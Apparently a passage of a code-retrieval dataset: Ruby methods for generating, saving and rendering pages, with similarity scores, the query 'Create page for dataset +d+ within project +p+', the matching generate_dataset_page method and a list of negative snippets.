"def page_file page_name\n file_name = File.basename(page_name).gsub('.', '_')\n\n File.join @path, File.dirname(page_name), \"page-#{file_name}.ri\"\n end",
"def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end",
"def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end",
"def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end",
"def designer\r\n @page = Page.find(params[:id])\r\n data = File.read(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n @page.update_attribute(:html , data)\r\n render 'designer'\r\n end",
"def generate_datasets_index(p)\n cli.say 'Creating index pages'\n data = format_dataset_index(p)\n data.each do |k, v|\n write_file(p, \"#{k}_datasets.html\") do\n v[:list] = 'None' if v[:list] == ''\n build_from_template(\n 'datasets.html',\n v.merge(:\"#{k}_datasets_active\" => 'active')\n )\n end\n end\n end",
"def create_all!\n if title_card_path.exist?\n Dir\n .glob(story.screenshots.join(\"*page*.png\"))\n .sort_by { |path| path.scan(/\\d+/).first.to_i }\n .each do |path|\n\n path.slice! File.extname(path) # drop the extension\n @paths[:pages] << absolute(path) # store the result in the index\n end\n return\n end\n\n FileUtils.mkdir_p story.screenshots\n browser.add_script_tag content: <<~JS\n pageflow.ready.then(function() {\n $('.multimedia_alert').remove()\n })\n JS\n\n # Grab all navigable pages.\n browser.goto story.url\n sleep 10\n pages = browser.css('#scrollytelling-navigation a')\n puts \"#{pages.length} screenshots in #{story.screenshots}\"\n\n pages.each_with_index do |link, index|\n perma_id = link.attribute('href')[/#(\\d*)\\z/, 1]\n url = [story.url, link.attribute('href')].join\n filename = [story.slug, 'page', index + 1, \"#{perma_id}.png\"].join('-')\n next if File.exist?(story.screenshots.join(filename))\n\n print \"#{url} \"\n browser.goto url\n sleep 3\n\n until browser.at_css('body').attribute('class').include? 'finished-loading'\n sleep 1\n end\n\n browser.screenshot(path: story.screenshots.join(filename))\n @paths[:pages] << absolute(story.screenshots.join(filename))\n puts \"✅ #{filename}\"\n end\n\n # Grab the opening page; when this exists, all screens are complete.\n browser.goto story.url\n sleep 10\n\n browser.screenshot(full: true, path: title_card_path)\n @paths[:title] = absolute(title_card_path)\n\n browser.quit\n end",
"def save_page(file_name = nil)\r\n file_name ||= Time.now.strftime(\"%Y%m%d%H%M%S\") + \".html\"\r\n puts \"about to save page: #{File.expand_path(file_name)}\" if $DEBUG\r\n File.open(file_name, \"w\").puts page_source\r\n end",
"def write_pages\n pages = Dir[\"#{source_path}/*.html\"].each do |p_name|\n page = Page.new(source_path, File.basename(p_name))\n # TODO allow user to specify which layouts a page should use \n page.render(site_payload, layouts.select{|x| x.name == \"application.html\"})\n page.write(destination_path)\n end\n end",
"def pretty_print_page\n pp @page\n end",
"def template_page(site); end",
"def dump(a, page)\n return unless self.debug?\n\n url = a.current_page.uri.request_uri\n puts \"current page: #{url}\"\n\n md5 = Digest::MD5.new; md5 << url; md5 << Time.now.to_s\n path = File.join(Dir.tmpdir, md5.to_s + \".html\")\n out = open(path, \"w\") do |f|\n f << \"Current page: #{url}\"\n f << \"Headers: #{page.header}\"\n f << page.body\n end\n\n puts \"#{url} -> #{path}\"\n end",
"def url_for_page( project, opts )\n setup_project_urls( project )\n if (opts[:page_name])\n raise \"No bulletin provided!\" if (! opts[:bulletin])\n url_for :controller => 'content', :action => 'page',\n :project_name => project.name, \n :bulletin_title => opts[:bulletin].title,\n :page_name => opts[:page_name],\n :layout => opts[:layout]\n \n end\n end",
"def generate()\n prepare\n ::Dir.mkdir(@output_path) unless ::File.exists? @output_path\n\n @pages.each do |name, page|\n SiteLog.debug(\"Starting page generation - #{name}\")\n page.generate(@output_path, @version, @preserve_tree)\n SiteLog.debug(\"Finished page generation - #{name}\")\n end\n\n @files.each do |path, data|\n path = ::File.join(@output_path, path)\n ::FileUtils.mkdir_p(::File.dirname(path))\n ::File.open(path, \"w\") do |f|\n f.write(data)\n end\n end\n end",
"def save_page(page, name)\n f = File.new(name,'w')\n f.puts page\n f.close\n end",
"def ingest_page pagename, label, sequence\n\n path = File.join(@directory_path, pagename)\n mime_type = Utils.mime_type(path)\n\n pdf, pdf_error_messages, thumbnail, thumbnail_error_messages = nil\n\n ingestor = Ingestor.new(@config, @namespace, @manifest) do |ingestor|\n\n ingestor.label = pagename\n ingestor.owner = @owner\n ingestor.content_model = @page_content_model\n ingestor.dc = page_dc(ingestor.pid, pagename)\n\n case mime_type\n when TIFF; handle_tiff_page(ingestor, path);\n when JP2; handle_jp2k_page(ingestor, path);\n when JPEG; handle_jpeg_page(ingestor, path);\n else\n raise PackageError, \"Page image #{pagename} in #{pretty_class_name} #{@directory_name} is of unsupported type #{mime_type}.\"\n end\n\n handle_ocr(ingestor, path)\n\n thumbnail, thumbnail_error_messages = Utils.image_resize(@config, path, @config.thumbnail_geometry, 'jpeg')\n\n ingestor.datastream('TN') do |ds|\n ds.dsLabel = 'Thumbnail'\n ds.content = thumbnail\n ds.mimeType = 'image/jpeg'\n end\n\n pdf, pdf_error_messages = Utils.image_to_pdf(@config, path)\n\n ingestor.datastream('PDF') do |ds|\n ds.dsLabel = 'PDF'\n ds.content = pdf\n ds.mimeType = 'application/pdf'\n end\n\n ingestor.datastream('RELS-EXT') do |ds|\n ds.dsLabel = 'Relationships'\n ds.content = page_rels_ext(ingestor.pid, label, sequence)\n ds.mimeType = 'application/rdf+xml'\n end\n\n ingestor.datastream('RELS-INT') do |ds|\n ds.dsLabel = 'RELS-INT'\n ds.content = page_rels_int(ingestor.pid, path)\n ds.mimeType = 'application/rdf+xml'\n end\n\n if @inherited_policy_collection_id\n ingestor.datastream('POLICY') do |ds|\n ds.dsLabel = \"XACML Policy Stream\"\n ds.content = Utils.get_datastream_contents(@config, @inherited_policy_collection_id, 'POLICY')\n ds.mimeType = 'text/xml'\n ds.controlGroup = 'X'\n end\n end\n\n end\n\n @bytes_ingested += ingestor.size\n\n if not Utils.request_index_update_for_pid(@config, ingestor.pid)\n error \"Problem updating index for #{ingestor.pid}.\"\n end\n\n return ingestor.pid\n\n rescue PackageError => e\n error e\n raise e\n rescue => e\n error \"Caught exception processing page number #{sequence} #{pagename}, #{e.class} - #{e.message}.\", e.backtrace\n raise e\n\n ensure\n warning ingestor.warnings if ingestor and ingestor.warnings?\n error ingestor.errors if ingestor and ingestor.errors?\n\n warning [ 'Issues creating Thumbnail datastream' ] + thumbnail_error_messages if thumbnail_error_messages and not thumbnail_error_messages.empty?\n warning [ 'Issues creating PDF datastream' ] + pdf_error_messages if pdf_error_messages and not pdf_error_messages.empty?\n\n safe_close(thumbnail, pdf)\n end",
"def create(params)\n put(\"v1/fundraising/pages\", {:basic_auth => true}.merge(params))\n end",
"def globalReport(psdFiles, base)\n psdFiles.each do |psdFile|\n name = File.basename(psdFile, \".psd\")\n PSD.open(psdFile) do |psd|\n content = psd.tree.to_hash\n jsonContent = JSON.pretty_generate(content)\n file = File.join(base, \"#{name}.json\")\n File.open(file, \"w\") { |f| f.write(jsonContent) }\n puts \"[create] #{file}\"\n end\n end\nend",
"def generate_html\n @main_url = main_url\n @sorted_files = @files.sort\n @sorted_classes = @classes.sort\n @sorted_methods = RDoc::Generator::Method.all_methods.sort\n\n # the individual descriptions for files and classes\n gen_into(@files)\n gen_into(@classes)\n\n # and the index files\n gen_file_index\n gen_class_index\n gen_method_index\n gen_main_index\n\n # this method is defined in the template file\n values = {\n :title_suffix => CGI.escapeHTML(\"[#{@options.title}]\"),\n :charset => @options.charset,\n :style_url => style_url('', @options.css),\n }\n\n @template.write_extra_pages(values) if\n @template.respond_to?(:write_extra_pages)\n end",
"def page(path)\n path = normalize_path(path)\n @pages[path]\n end",
"def generate\n add_intro\n add_blood_pressure_intro\n add_blood_pressure_list\n add_blood_pressure_outro\n add_medications_intro\n add_medications_list\n add_about\n\n @pdf\n end",
"def generate \n @project=Project.find(params[:project_id])\n retrieve_query \n logger.info \"Anzahl aus Query: #{@query.issue_count} Projekt: #{@project}\"\n sort_init(@query.sort_criteria.empty? ? [['id', 'desc']] : @query.sort_criteria)\n sort_update(@query.sortable_columns)\n if @query.valid?\n @limit = per_page_option\n @query.sort_criteria = sort_criteria.to_a\n @issue_count = @query.issue_count\n @issue_pages = Paginator.new @issue_count, @limit, params['page']\n @offset ||= @issue_pages.offset\n @issues = @query.issues(:include => [:assigned_to, :tracker, :priority, :category, :fixed_version],\n :order => sort_clause,\n :offset => @offset,\n :limit => @limit)\n @issue_count_by_group = @query.issue_count_by_group \n end\n\n respond_to do |format|\n format.html { render :template => 'issues_report/report_list' } \n end\n end",
"def summary\n calculate\n\n num_width = [@num_files, @num_items].max.to_s.length\n undoc_width = [\n @undoc_attributes,\n @undoc_classes,\n @undoc_constants,\n @undoc_items,\n @undoc_methods,\n @undoc_modules,\n @undoc_params,\n ].max.to_s.length\n\n report = RDoc::Markup::Verbatim.new\n\n report << \"Files: %*d\\n\" % [num_width, @num_files]\n\n report << \"\\n\"\n\n report << \"Classes: %*d (%*d undocumented)\\n\" % [\n num_width, @num_classes, undoc_width, @undoc_classes]\n report << \"Modules: %*d (%*d undocumented)\\n\" % [\n num_width, @num_modules, undoc_width, @undoc_modules]\n report << \"Constants: %*d (%*d undocumented)\\n\" % [\n num_width, @num_constants, undoc_width, @undoc_constants]\n report << \"Attributes: %*d (%*d undocumented)\\n\" % [\n num_width, @num_attributes, undoc_width, @undoc_attributes]\n report << \"Methods: %*d (%*d undocumented)\\n\" % [\n num_width, @num_methods, undoc_width, @undoc_methods]\n report << \"Parameters: %*d (%*d undocumented)\\n\" % [\n num_width, @num_params, undoc_width, @undoc_params] if\n @coverage_level > 0\n\n report << \"\\n\"\n\n report << \"Total: %*d (%*d undocumented)\\n\" % [\n num_width, @num_items, undoc_width, @undoc_items]\n\n report << \"%6.2f%% documented\\n\" % percent_doc\n report << \"\\n\"\n report << \"Elapsed: %0.1fs\\n\" % (Time.now - @start)\n\n RDoc::Markup::Document.new report\n end",
"def sample_page\n\n end",
"def generate_resource_detail_file!(resource_doc)\n restapi_config = YAML.load(File.read(\"#{config_dir}/restapi_doc.yml\"))\n Dir.mkdir(temp_dir + \"/resources\") if (!File.directory?(temp_dir + \"/resources\"))\n Dir.mkdir(temp_dir + \"/resources/\" + resource_doc.name) if (!File.directory?(temp_dir + \"/resources/\" + resource_doc.name))\n resource_doc.resource_methods.each do | method|\n template = IO.read(template_dir('detail.html.haml'))\n parsed = Haml::Engine.new(template).render(Object.new, :project_info => restapi_config, :name => resource_doc.name , :rmethod => method)\n File.open(temp_dir + \"/resources/\" + resource_doc.name + \"/\" + method[0] + \".html\", 'w') { |file| file.write parsed }\n end\n end",
"def trace\n \n path = WikiPath.new\n \n page = self\n\n wikipage = Wikipedia.find(title)\n\n # If page has a parent we must stop (we can fetch the cached path or it's a loop)\n # If there's no page... we reached the end of the road\n while !page.blank? and page.parent_id.blank? \n \n path.pages << page\n \n # We must get rid of infoboxes, metadata and Image and FIle links before we get the link title\n first_link_title = wikipage.content.gsub(\"\\n\", \"\").gsub(/\\{\\{[^\\}]*\\}\\}/, \"\").gsub(\"[[Image:\", \"\").gsub(\"[[File:\", \"\").match(/\\[\\[[^\\]]*\\]\\]/)[0]\n first_link_title = first_link_title.split(\"|\").first.gsub(\"]\", \"\").gsub(\"[\", \"\") unless first_link_title.nil?\n\n if first_link_title.nil?\n page.update_attributes :is_root => true\n page = nil\n else\n\n wikipage = Wikipedia.find(first_link_title)\n\n parent_page = WikiPage.find_by_title(first_link_title)\n parent_page ||= WikiPage.create :url => \"\", :title => first_link_title, :fetched_at => Time.now\n\n page.update_attributes :parent_id => parent_page.id\n\n\n page = parent_page \n end\n end\n\n unless page.blank?\n path.pages << page\n unless page.parent_id.blank?\n \n parent_pos = path.pages.index page.parent\n # If parent is not in the path then we have a cached path\n if parent_pos.nil?\n path.pages.concat(page.ancestors.reverse)\n else # If parent is in the path then we have a loop\n\n # remove pages from path\n roots = path.pages.slice! parent_pos, path.pages.length - parent_pos\n\n # create a tree\n tree = WikiTree.create :name => roots.map(&:title).join(\" - \")\n # we remove the parent page to every root and indicate it's a root\n roots.each do |root|\n root.update_attributes :is_root => true, :parent_id => nil\n end\n\n end\n\n end\n end\n\n path.pages.each do |page|\n tree.pages << page\n page.reload\n end\n\n path\n\n end",
"def show\n \t\tpath = params[:path]\n \t\t@page = Page.find(:path => path)\n \t\tif @page\n \t\trespond_to do |format|\n \t\t\tformat.html do\n \t\t\t\[email protected]_template && self.class.layout(@page.layout_template)\n \t\t\tend\n \t\t\tformat.xml do\n \t\t\t\t@pages = @page.children\n \t\t\t\trender :action => \"index\"\n \t\t\tend\n \t\tend\n \t\telse\n \t\t error\n \t\tend\n \tend",
"def show\r\n @new_page = Page.new({project: @project, name: generate_new_page_name})\r\n @new_data_source = DataSource.new({project: @project})\r\n @pages_list = @project.pages.map {|i| [i.id, i.name]}\r\n @data_sources = @project.data_sources.includes(:data_source_type)\r\n end",
"def queries_summary(project_id)\n get \"projects/#{project_id}/queries/summary\"\n end",
"def page( lang, path )\n root_page( lang ).descendant( path )\n end"
] | [
"0.7484316",
"0.6507673",
"0.6498785",
"0.63521224",
"0.60548556",
"0.59551257",
"0.584933",
"0.5718473",
"0.5688941",
"0.5640451",
"0.5592488",
"0.5543848",
"0.5512932",
"0.55012167",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.5489683",
"0.54802626",
"0.5470567",
"0.54619",
"0.5454729",
"0.5413308",
"0.5399267",
"0.539552",
"0.5394627",
"0.53872067",
"0.5379173",
"0.5374772",
"0.5369248",
"0.534958",
"0.5347791",
"0.5341696",
"0.53217036",
"0.5317681",
"0.53112304",
"0.5310897",
"0.53007334",
"0.52820957",
"0.5274599",
"0.5246417",
"0.5234282",
"0.5225998",
"0.5210424",
"0.5201408",
"0.51929635",
"0.5183064",
"0.5169653",
"0.5155353",
"0.5154561",
"0.5132482",
"0.51286495",
"0.5128517",
"0.5120607",
"0.50908226",
"0.50874794",
"0.5086265",
"0.5085258",
"0.50776607",
"0.5075753",
"0.507566",
"0.5072742",
"0.5069485",
"0.5065725",
"0.5065725",
"0.5065725",
"0.50498307",
"0.5041916",
"0.50392884",
"0.50363415",
"0.5019385",
"0.5015551",
"0.5014759",
"0.501309",
"0.5012239",
"0.50117713",
"0.50082064",
"0.4995038",
"0.49917352",
"0.49907508",
"0.49839365",
"0.49834445",
"0.49833408",
"0.49744973",
"0.49716896",
"0.49662155",
"0.49632362",
"0.49584758",
"0.4956619",
"0.495447",
"0.49509537",
"0.49479353"
] | 0.7636214 | 0 |
Create page for dataset +d+ within project +p+ | def generate_dataset_page(p, d)
data = {
unmiga_name: d.name.unmiga_name,
information: format_metadata(d),
results: format_results(d)
}
write_file(p, "d_#{d.name}.html") do
build_from_template('dataset.html', data)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_datasets_index(p)\n cli.say 'Creating index pages'\n data = format_dataset_index(p)\n data.each do |k, v|\n write_file(p, \"#{k}_datasets.html\") do\n v[:list] = 'None' if v[:list] == ''\n build_from_template(\n 'datasets.html',\n v.merge(:\"#{k}_datasets_active\" => 'active')\n )\n end\n end\n end",
"def generate_project_page(p)\n # Redirect page\n write_file(p, '../index.html') { build_from_template('redirect.html') }\n\n # Summaries\n summaries = Dir[\"#{p.path}/*.tsv\"].map do |i|\n b = File.basename(i, '.tsv')\n generate_summary_page(i, p)\n \"<li><a href='s-#{b}.html'>#{format_name(b)}</a></li>\"\n end.join('')\n\n # Project index page\n data = {\n project_active: 'active',\n information: format_metadata(p),\n summaries: summaries.empty? ? 'None' : \"<ul>#{summaries}</ul>\",\n results: format_results(p)\n }\n write_file(p, 'index.html') { build_from_template('index.html', data) }\n end",
"def show\r\n @new_page = Page.new({project: @project, name: generate_new_page_name})\r\n @new_data_source = DataSource.new({project: @project})\r\n @pages_list = @project.pages.map {|i| [i.id, i.name]}\r\n @data_sources = @project.data_sources.includes(:data_source_type)\r\n end",
"def showData\n $page = $page +\n \"<dl>\\n\" +\n \" <dt>name\\n\" +\n \" <dd>\" + $name + \"\\n\" +\n \" <dt>organization\\n\" +\n \" <dd>\" + $organization + \"\\n\" +\n \" <dt>email\\n\" +\n \" <dd>\" + $email + \"\\n\" +\n \" <dt>source\\n\" +\n \" <dd>\" + $source + \"\\n\" +\n \" <dt>use\\n\" +\n \" <dd>\" + $use + \"\\n\" +\n \" <dt>notification\\n\" +\n \" <dd>\" + $notification + \"\\n\" +\n \"</dl>\\n\"\nend",
"def create(p)\n puts \"Creating page #{p}\"\n Dir.mkdir p unless File.exists? p\n Content.new(\"#{@dir}\", @extension).page p\n end",
"def initialize(site, base, index_files, dir, data, name, title, template, extension, defaults = {})\n @site = site\n @base = base\n\n # @dir is the directory where we want to output the page\n # @name is the name of the page to generate\n #\n # the value of these variables changes according to whether we\n # want to generate named folders or not\n if data[name] == nil\n puts \"error (datapage_gen). empty value for field '#{name}' in record #{data}\"\n else\n filename = sanitize_filename(data[name]).to_s\n\n @dir = dir + (index_files ? \"/\" + filename + \"/\" : \"\")\n @name = (index_files ? \"index\" : filename) + \".\" + extension.to_s\n\n self.process(@name)\n self.read_yaml(File.join(base, '_layouts'), template + \".html\")\n\n # original method to set page title to data[name]\n # self.data['title'] = data[name]\n\n if title\n self.data['title'] = data[title]\n elsif data['publiccode'] && data['publiccode']['name']\n self.data['title'] = data['publiccode']['name'] + ' - ' + defaults['title_suffix']\n else\n self.data['title'] = data[name]\n end\n\n self.data.merge!(defaults)\n # add all the information defined in _data for the current record to the\n # current page (so that we can access it with liquid tags)\n self.data.merge!(data)\n end\n end",
"def showData\n $page = $page +\n \"<dl>\\n\" +\n \" <dt>events\\n\" +\n \" <dd>\" + $events + \"\\n\" +\n \"</dl>\\n\"\nend",
"def generate(site)\n # page_gen_dirs determines whether we want to generate index pages\n # (name/index.html) or standard files (name.html). This information\n # is passed to the DataPage constructor, which sets the @dir variable\n # as required by this directive\n index_files = site.config['page_gen-dirs'] == true\n\n # data contains the specification of the data for which we want to generate\n # the pages (look at the README file for its specification)\n data = site.config['page_gen']\n if data\n data.each do |data_spec|\n index_files_for_this_data = data_spec['index_files'] != nil ? data_spec['index_files'] : index_files\n template = data_spec['template'] || data_spec['data']\n name = data_spec['name']\n title = data_spec['title']\n dir = data_spec['dir'] || data_spec['data']\n extension = data_spec['extension'] || \"html\"\n\n if site.layouts.key? template\n # records is the list of records defined in _data.yml\n # for which we want to generate different pages\n records = nil\n data_spec['data'].split('.').each do |level|\n if records.nil?\n records = site.data[level]\n else\n records = records[level]\n end\n end\n\n # apply filtering conditions:\n # - filter requires the name of a boolean field\n # - filter_condition evals a ruby expression\n records = records.select { |r| r[data_spec['filter']] } if data_spec['filter']\n records = records.select { |record| eval(data_spec['filter_condition']) } if data_spec['filter_condition']\n\n records.each do |record|\n site.pages << DataPage.new(site, site.source, index_files_for_this_data, dir, record, name, title, template, extension, data_spec['defaults'])\n end\n else\n puts \"error (datapage_gen). could not find template #{template}\" if not site.layouts.key? template\n end\n end\n end\n end",
"def create\n @dataset = Dataset.new(params[:dataset])\n prep_dataset_form\n @dataset.save!\n publish_press_item(\"New dataset added: #{@dataset.title}\")\n\n respond_to do |wants|\n flash[:notice] = 'Dataset was successfully created.'\n wants.html { redirect_to(@dataset) }\n wants.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n end\n end",
"def testem_page\n testem_fields(\n \"#{Prawn::DATADIR}/images/reports/CEM2030-2012_Page_01.pdf\"\n # \"#{Rails.root}/app/assets/images/reports/testem_fields.pdf\"\n # \"#{Rails.root}/app/assets/pdfs/testem.png\"\n )\n start_new_page\n end",
"def generate(site)\n\n # page_gen_dirs determines whether we want to generate index pages\n # (name/index.html) or standard files (name.html). This information\n # is passed to the DataPage constructor, which sets the @dir variable\n # as required by this directive\n\n index_files = site.config['page_gen-dirs'] == true\n\n # data contains the specification of the data for which we want to generate\n # the pages (look at the README file for its specification)\n data = site.config['page_gen']\n types = site.config['data_types']\n if data\n data.each do |data_spec|\n # template = data_spec['template'] || data_spec['data']\n name = data_spec['name']\n # dir = data_spec['dir'] || data_spec['data']\n # Added 2 lines: Set context and type for JSON-LD \n context = data_spec['context'] || \"http://schema.org/\"\n # type = data_spec['type'] || \"Thing\"\n extension = data_spec['extension'] || \"html\"\n\n # records is the list of records defined in _data.yml\n # for which we want to generate different pages\n records = nil\n data_spec['data'].split('.').each do |level|\n if records.nil?\n records = site.data[level]\n else\n records = records[level]\n end\n end\n records.each do |record|\n # Added 3 lines: Add context and type for JSON-LD to each record\n collection = record[\"collection\"]\n dir = types[collection][\"dir\"] || collection\n template = types[collection][\"template\"]\n type = types[collection][\"type\"]\n record[\"@context\"] = context\n record[\"data\"][\"@type\"] = type\n record[\"data\"][\"name\"] = record[\"name\"]\n site.pages << DataPage.new(site, site.source, index_files, dir, record, name, template, extension)\n end\n end\n end\n end",
"def generate(site)\n # page_gen_dirs determines whether we want to generate index pages\n # (name/index.html) or standard files (name.html). This information\n # is passed to the DataPage constructor, which sets the @dir variable\n # as required by this directive\n puts \"debug\"\n index_files = site.config['page_gen-dirs']\n index_files = true if index_files.nil?\n\n # config contains the specification of the data for which we want to generate\n # the pages (look at the README file for its specification)\n config = site.config['data_gen']\n\n # default configuration: get all data files, use the 'data_page.html' template,\n # output to /data\n path = nil\n template = 'data_page'\n dir = 'data'\n \n \n if config\n path = config['path'] || path\n template = config['template'] || template\n dir = config['dir'] || dir\n end\n\n if site.layouts.key? template\n data_files = path.nil? ? site.data : site.data[path]\n\n data_files.each do |name, record|\n site.pages << DataPage.new(site, site.source, index_files, dir, record, name, template, \"html\")\n end\n else\n puts \"DataPageGenerator error. could not find template #{template}\"\n end\n end",
"def flowchart\r\n @project = Project.find(params[:project_id])\r\n @foundpages = Page.find(:all, :conditions => { :project_id => @project.id })\r\n render 'flowchart'\r\n end",
"def set_page_data\n @page_title = \"Dragos | My Portfolio\"\n @seo_keywords = \"Dragos Portfolio\"\n end",
"def create_page\n @outfile.puts <<'EOF'\n<!DOCTYPE html>\n<html>\n <head>\n <title>Fun Fun Fun</title>\n <meta charset=\"utf-8\">\nEOF\n\n include_stylesheets\n include_javascript\n add_data(@batch)\n @outfile.puts <<'EOF'\n </head>\n <body>\n <svg class=\"chart\">\n </svg>\n </body>\n</html>\nEOF\n end",
"def index\n @descriptive_pages = DescriptivePage.where(Project_id: session[:current_project_id])\n @project = Project.find_by(id: session[:current_project_id])\n end",
"def create\n @descriptive_page = DescriptivePage.new(descriptive_page_params)\n @descriptive_page.Project_id = session[:current_project_id]\n\n respond_to do |format|\n if @descriptive_page.save\n format.html { redirect_to @descriptive_page, notice: 'Descriptive page was successfully created.' }\n format.json { render :show, status: :created, location: @descriptive_page }\n else\n format.html { render :new }\n format.json { render json: @descriptive_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @page_title = \"VDW Datasets\"\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n format.pdf\n end\n end",
"def pages; end",
"def get_development_application(page, da_container)\n\n #Get detail page of da\n\n detail_page = get_da_detail_page(page, da_container)\n\n \n\n #Get da summary\n\n da_summary = get_da_summary(page, da_container, detail_page)\n\n \n\n #Create a record that includes da_summary and detail_page to save to the database\n\n record = da_summary\n\n record['page_content'] = detail_page.body.to_s.force_encoding('utf-8')\n\n \n\n #Save record to database\n\n save_record_to_database(record)\n\nend",
"def get_development_application(page, da_container)\n\n #Get detail page of da\n\n detail_page = get_da_detail_page(page, da_container)\n\n \n\n #Get da summary\n\n da_summary = get_da_summary(page, da_container, detail_page)\n\n \n\n #Create a record that includes da_summary and detail_page to save to the database\n\n record = da_summary\n\n record['page_content'] = detail_page.body.to_s.force_encoding('utf-8')\n\n \n\n #Save record to database\n\n save_record_to_database(record)\n\nend",
"def create_page_content(page_id, data)\n create_content(Voog::API::Contents::ParentKind::Page, page_id, data)\n end",
"def create_empty_page(p)\n cli.say 'Creating project page'\n FileUtils.mkdir_p(browse_file(p, '.'))\n %w[favicon-32.png style.css].each do |i|\n FileUtils.cp(template_file(i), browse_file(p, i))\n end\n write_file(p, 'about.html') do\n build_from_template('about.html', citation: MiGA::MiGA.CITATION)\n end\n end",
"def index\n params[:page_title] = 'Listado de datasets de Open Data - Datos Democráticos'\n params[:page_description] = 'Listado de datasets de Open Data. Datos abiertos de instituciones principalmente gubernamentales (Open Gov).'\n\n @sel_category = params[:category]\n\n @page = (params.has_key?(:page) ? params[:page].to_i : 0)\n limit = 10\n\n @data_collections = DataCollection.all\n if not @sel_category.nil?\n @data_collections = @data_collections.joins('INNER JOIN data_collection_categories ON data_collection_categories.data_collection_id = data_collections.id').where('data_collection_categories.category_id = ?', @sel_category)\n end\n count = @data_collections.count\n\n @data_collections = @data_collections.limit(limit).offset(limit * @page)\n\n @total_pages = (count / limit).ceil\n @has_next_page = (limit * (@page + 1) < count)\n\n @categories = Category.all\n end",
"def fit_pdi_page(x, y, optlist)\n @p.fit_pdi_page(self, x, y, optlist)\n end",
"def new\n @project = Project.new\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html\n format.xml { render xml: @project } # new.html.erb\n end\n end",
"def index\n @datasets = Dataset.select_without_data.order(:name).page(params[:page])\n end",
"def create_pages(page)\n skip_count = 0\n page[:content].split( SEP_PAGES ).each_with_index do |content,i|\n if content =~ PTN_METADATA\n page[:title] = $1;page[:tag] = $2\n page[:created_at] = str2time( $3 ) if !$3.blank?\n h = {};$4.split('|').each{|e| pair = e.split('=') ; h[pair[0].to_sym] = pair[1] }\n h[:public_flag] = false if !h[:public_flag] || h[:public_flag] != \"true\"\n h[:page_type] = 'N' if !h[:page_type]\n page.merge!(h)\n #$lgr.info page.inspect\n content.gsub! PTN_METADATA , \"\"\n end\n page[:content] = content\n extract_data Page.create!(page)\n end.length\n end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def new_page\n @pdf.start_new_page\n set_pos_y\n print_section :page unless @sections[:page].nil?\n set_pos_y (@sections[:body][:settings][:posY] || 0)\n @current_groups.each do |field, value|\n print_section field.to_sym, @record, true\n end\n draw_columns\n end",
"def index\n @pagy, @test_data = pagy(TestDatum.all)\n puts @pagy\n end",
"def designer\r\n @page = Page.find(params[:id])\r\n data = File.read(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n @page.update_attribute(:html , data)\r\n render 'designer'\r\n end",
"def preview_page(name, data, format)\n page = @page_class.new(self)\n ext = @page_class.format_to_ext(format.to_sym)\n path = @page_class.cname(name) + '.' + ext\n blob = OpenStruct.new(:name => path, :data => data)\n page.populate(blob, path)\n page.version = @access.commit('HEAD')\n page\n end",
"def make_all_pages_tei\n @pages = Page.where(\"id > 0\")\n @pages.each do |p|\n dopagetei(p.id)\n end\n\n end",
"def reference_datasets\n if @results.nil?\n @ref_datasets = @project.ref_datasets\n else\n @ref_datasets = @results\n end\n cur_page = (params[:page] || 1).to_i\n per_page = (params[:per_page] || 10).to_i\n @datasets = WillPaginate::Collection.create(\n cur_page, per_page, @ref_datasets.size) do |pager|\n start = (cur_page - 1) * per_page\n pager.replace(@ref_datasets[start, per_page])\n end\n end",
"def create_data_download(project_id, opts = {})\n post \"projects/#{project_id}/datadownload\", opts\n end",
"def index\n @dynamic_project_pages = DynamicProjectPage.all\n end",
"def build_current_dataset_setting\n ds_params = {}\n ds_params = page_params.to_h[:dataset_setting] if params[:site_page] && page_params.to_h && page_params.to_h[:dataset_setting]\n\n @dataset_setting = nil\n if ds_params[:id]\n @dataset_setting = DatasetSetting.find(ds_params[:id])\n elsif @page.dataset_setting\n @dataset_setting = @page.dataset_setting\n else\n @dataset_setting = DatasetSetting.new\n @page.dataset_setting = @dataset_setting\n end\n @dataset_setting.assign_attributes session[:dataset_setting][@page_id] if session[:dataset_setting][@page_id]\n\n if ds_id = ds_params[:dataset_id]\n\n # If the user changed the id of the dataset, the entity is reset\n if @dataset_setting.dataset_id && @dataset_setting.dataset_id != ds_id\n delete_session_key(:dataset_setting, @page_id)\n session[:invalid_steps][@page_id] = %w[type columns preview]\n @dataset_setting.filters = @dataset_setting.columns_changeable = @dataset_setting.columns_visible = nil\n end\n\n @dataset_setting.assign_attributes(dataset_id: ds_id)\n ds_metadata = @dataset_setting.metadata['data'].first\n if ds_metadata\n @dataset_setting.api_table_name = ds_metadata.dig('attributes', 'tableName')\n @dataset_setting.legend = ds_metadata.dig('attributes', 'legend')\n end\n end\n\n if fields = ds_params[:filters]\n fields = JSON.parse fields\n\n # Removes the \"variable\" param and sets the filters\n @dataset_setting.filters =\n fields.map { |h| h.select { |k| k != 'variable' } }\n\n # Sets the changeable fields from the params\n @dataset_setting.set_columns_changeable(\n fields.map { |h| h['name'] if h['variable'] == true }.compact\n )\n end\n\n if fields = ds_params[:visible_fields]\n @dataset_setting.columns_visible = fields.to_json\n end\n\n if fields = ds_params[:widgets]\n @dataset_setting.widgets = fields\n end\n end",
"def create_many(data)\n command(create: :pages, result: :many).call(data)\n end",
